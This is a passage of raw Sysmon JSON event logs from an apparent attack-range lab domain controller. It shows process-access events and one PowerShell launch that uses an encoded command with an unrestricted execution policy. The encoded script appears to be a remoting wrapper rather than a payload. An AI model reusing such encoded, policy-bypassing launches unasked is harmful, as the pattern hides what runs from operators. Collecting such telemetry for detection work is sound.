11:56:14.165","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:14","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4836,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:14.165\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:14.165","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:14","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4837,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:14.165\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:14.165","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:14","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4838,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:14.165\r\nSourceProcessGUID: {90617006-415E-5F2D-0000-0010E0580700}\r\nSourceProcessId: 1276\r\nSourceThreadId: 4304\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-415E-5F2D-0000-00105A5B0700}\r\nTargetProcessId: 4376\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:14.165","SourceProcessGUID":"{90617006-415E-5F2D-0000-0010E0580700}","SourceProcessId":"1276","SourceThreadId":"4304","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-415E-5F2D-0000-00105A5B0700}","TargetProcessId":"4376","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:14","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":4839,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:14.183\r\nProcessGuid: {90617006-415E-5F2D-0000-00102F5C0700}\r\nProcessId: 3640\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nFileVersion: 10.0.14393.206 (rs1_release.160915-0644)\r\nDescription: Windows PowerShell\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: PowerShell.EXE\r\nCommandLine: PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=\r\nCurrentDirectory: C:\\Users\\Administrator\\\r\nUser: ATTACKRANGE\\Administrator\r\nLogonGuid: {90617006-415E-5F2D-0000-002024580700}\r\nLogonId: 0x75824\r\nTerminalSessionId: 0\r\nIntegrityLevel: High\r\nHashes: MD5=097CE5761C89434367598B34FE32893B,SHA256=BA4038FD20E474C047BE8AAD5BFACDB1BFC1DDBE12F803F473B7918D8D819436,IMPHASH=CAEE994F79D85E47C06E5FA9CDEAE453\r\nParentProcessGuid: {90617006-415E-5F2D-0000-00105A5B0700}\r\nParentProcessId: 4376\r\nParentImage: C:\\Windows\\System32\\cmd.exe\r\nParentCommandLine: C:\\Windows\\system32\\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:56:14.183","ProcessGuid":"{90617006-415E-5F2D-0000-00102F5C0700}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","FileVersion":"10.0.14393.206 (rs1_release.160915-0644)","Description":"Windows PowerShell","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"PowerShell.EXE","CommandLine":"PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=","CurrentDirectory":"C:\\Users\\Administrator\\","User":"ATTACKRANGE\\Administrator","LogonGuid":"{90617006-415E-5F2D-0000-002024580700}","LogonId":"0x75824","TerminalSessionId":"0","IntegrityLevel":"High","Hashes":"MD5=097CE5761C89434367598B34FE32893B,SHA256=BA4038FD20E474C047BE8AAD5BFACDB1BFC1DDBE12F803F473B7918D8D819436,IMPHASH=CAEE994F79D85E47C06E5FA9CDEAE453","ParentProcessGuid":"{90617006-415E-5F2D-0000-00105A5B0700}","ParentProcessId":"4376","ParentImage":"C:\\Windows\\System32\\cmd.exe","ParentCommandLine":"C:\\Windows\\system32\\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand 